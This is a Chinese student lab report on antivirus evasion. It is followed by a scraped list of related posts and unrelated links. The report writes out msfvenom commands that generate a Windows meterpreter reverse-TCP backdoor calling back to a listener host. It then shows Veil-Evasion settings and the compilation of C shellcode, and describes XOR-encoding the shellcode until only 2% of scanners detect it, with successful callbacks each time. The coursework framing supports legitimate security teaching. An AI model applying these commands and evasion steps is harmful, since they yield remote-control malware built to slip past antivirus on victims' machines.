20155320 Exp3 免杀原理与实践
20155320 Exp3 免杀原理与实践
- 免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
【基础问题回答】
(1)杀软是如何检测出恶意代码的?
1.通过行为检测
2.通过特征码的比对
3.启发式检测
(2)免杀是做什么?
是对恶意软件做处理,用来躲避杀毒软件的检查
(3)免杀的基本方法有哪些?
方法有修改特征码
改变行为特征
【正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧】
在老师提供的virscan上上传后门进行免杀测试。
1.全裸后门测试
- 将未经处理过的后门直接在virscan上测试,发现裸奔的后门有18个杀软检测到了。



2.利用msfvenom对裸奔的后门进行编码处理
- 对全裸的后门用如下命令,进行一次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b ‘\x00’ LHOST=192.168.19.128 LPORT=5320 -f exe > 5320-v1.exe

- 然后将经过编码后的后门程序后门程序在virscan上进行免杀测试,发现有19个杀软检测到了它,并没有起到隐藏作用。

- 然后我不死心又尝试了10次编码,只用把命令中i后面的数字改一下,就能控制编码次数了。

- 然而对于杀软来说穿上10件衣服的它和裸奔的它并没有什么区别,他依然没能逃过杀软的眼睛。

3.Veil-Evasion免杀平台
- 由于用的是老师的虚拟机,所以Veil已经安装好了,直接输入
veil进入免杀平台,之后依次输入以下命令来进行选择
use evasion
use python/meterpreter/rev_tcp.py
set LHOST 192.168.19.133(kali IP)
set LPORT 5320

设定完成后,输入
generate出现了错误,很难受,文件生成不了

之后我看了一下有很多同学出现了同样的错误,发现将语言换成C语言即可了。

- 将产生的后门复制到windows下,加入杀软的信任列表里,进行检测,发现这次隐藏得不错,只有9个杀软检测到了。

- 通过回连(方法见上一次实验),成功监听

4.利用shellcode编程实现免杀
- 利用msf命令生成一个C语言的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.128.19.133 LPORT=5320 -f c

- 将上图中生成的数组加上一个主函数建立一个met_5320.c的.c文件
- 随后用命令
i686-w64-mingw32-g++ met_5320.c -o met_5320.exe将.c文件转换为可执行文件met_5320.exe。

- 可以将可执行文件复制到windows下可以检测一下它的隐蔽性,然而一复制就被我的电脑管家拦截了,授予信任后检测发现仍然有9个杀软检测到了它。

- 回连但是exe文件运行有问题,很难受。
通过C语言调用Shellcode
- 将shellcode拷到windows下,按老师的方法编写成.C文件通过VS编译运行得到的exe,可以回连到kali,报毒率也还可以,但是并没有低多少TAT。


手工版后门
- 怎么能使报毒率变得更低呢,总的来说就是要将shellcode通过某种方式给藏起来,但是又能还原,发现大家的方法都五花八门的,我最终决定结合密码学的方法,将shellcode数组与1异或一下,主要是觉得应该隐藏效果不错而且简单。数组变化的代码如下。

- 变化后的数组如下,而且我检测了一下再异或一下是能变回去的,而且目测还是变得挺面目全非的,放心啦~。

- 将变化后的shellcode放入原C文件中,稍加变化(由于不让放代码,就不贴了),能回连成功,报毒率也相当低,只有2%了,开心,一直在报毒的瑞星也没发现,哈哈哈,用我的电脑管家查杀也很平静,感觉电脑管家保护不了我的电脑了。


【实验总结】
这次实验感觉相较有趣,技术性变强了,尤其是需要自己家手工制作后门实现免杀,感觉很有成就感,就是自己做后门的通用性不强,唉。还有就是发现瑞星很强呀,考虑之后换个杀软就换它了。
20155320 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- gis cad导出弧段在arcmap下 不准问题
我发现cad 的图形导出到arcmap下会出现各种各样的丢失问题,特别是cad的弧段在arcmap下会弯曲(弧度指向另外一边). 那么应该怎么解决这个问题呢?后来想到FME可以高效的还原cad的图形, ...
- Linux sudo 命令使用简介
Linux sudo 命令使用简介 by:授客 QQ:1033553122 基本语法: $ sudo [-u username] [command] -u:将身份变成username的身份 #编辑/e ...
- Mongodb的入门(6)副本集
Mongodb的副本集:(有两种情况,主从复制,副本集) 这次我来说一下mongodb的副本集,副本集的出现可以有效的保证mongodb的单点问题,对数据的稳健性有一定辅助作用: MongoDB复制: ...
- 如何借助 NoSQL 提高 JPA 应用性能
[编者按]关注 NoSQL 的动态发展很重要.NoSQL 的好处并不仅限于新的应用开发.在某些案例中,你可以见识到重新访问现有的.传统的框架带来的积极效果,比如说你的 JPA 的实现.本文系国内 IT ...
- CSS3动画详解(图文教程)
本文最初发表于博客园,并在GitHub上持续更新前端的系列文章.欢迎在GitHub上关注我,一起入门和进阶前端. 以下是正文. 前言 本文主要内容: 过渡:transition 2D 转换 trans ...
- SHELL调用存储过程
1.测试用例 #!/bin/sh #日期变量可设成传入参数 #exec_date=`date +"%Y%m%d"` # -S 设置无提示模式, 该模式隐藏命令的 SQL*Plus ...
- Oracle EBS AR 客户API
------------------------------------ 1. Set Environment ------------------------------------ -- 1a. ...
- C# 倒计时
c#中有一个叫做timespan的数据类型,可以这样构造: TimeSpan ts = , , ); TimeSpan(hour,minute,second); 然后拖进去一个timer,叫timer ...
- C语言的历史及个人拙见
C语言是一个无限广阔的世界,你刚开始睁眼看它的时候以为视线的尽头就是边界,但当你慢慢走去,才发现天外有天.这或许就是江湖传说只有C才有真正高手的原因,或许我们也可以反过来说:C没有高手——因为没有人能 ...
- python基础学习23----IO模型(简)
对于一个网络IO(network IO),它会涉及到两个系统对象,一个是调用这个IO的process (or thread),另一个就是系统内核(kernel).当一个read操作发生时,该操作会经历 ...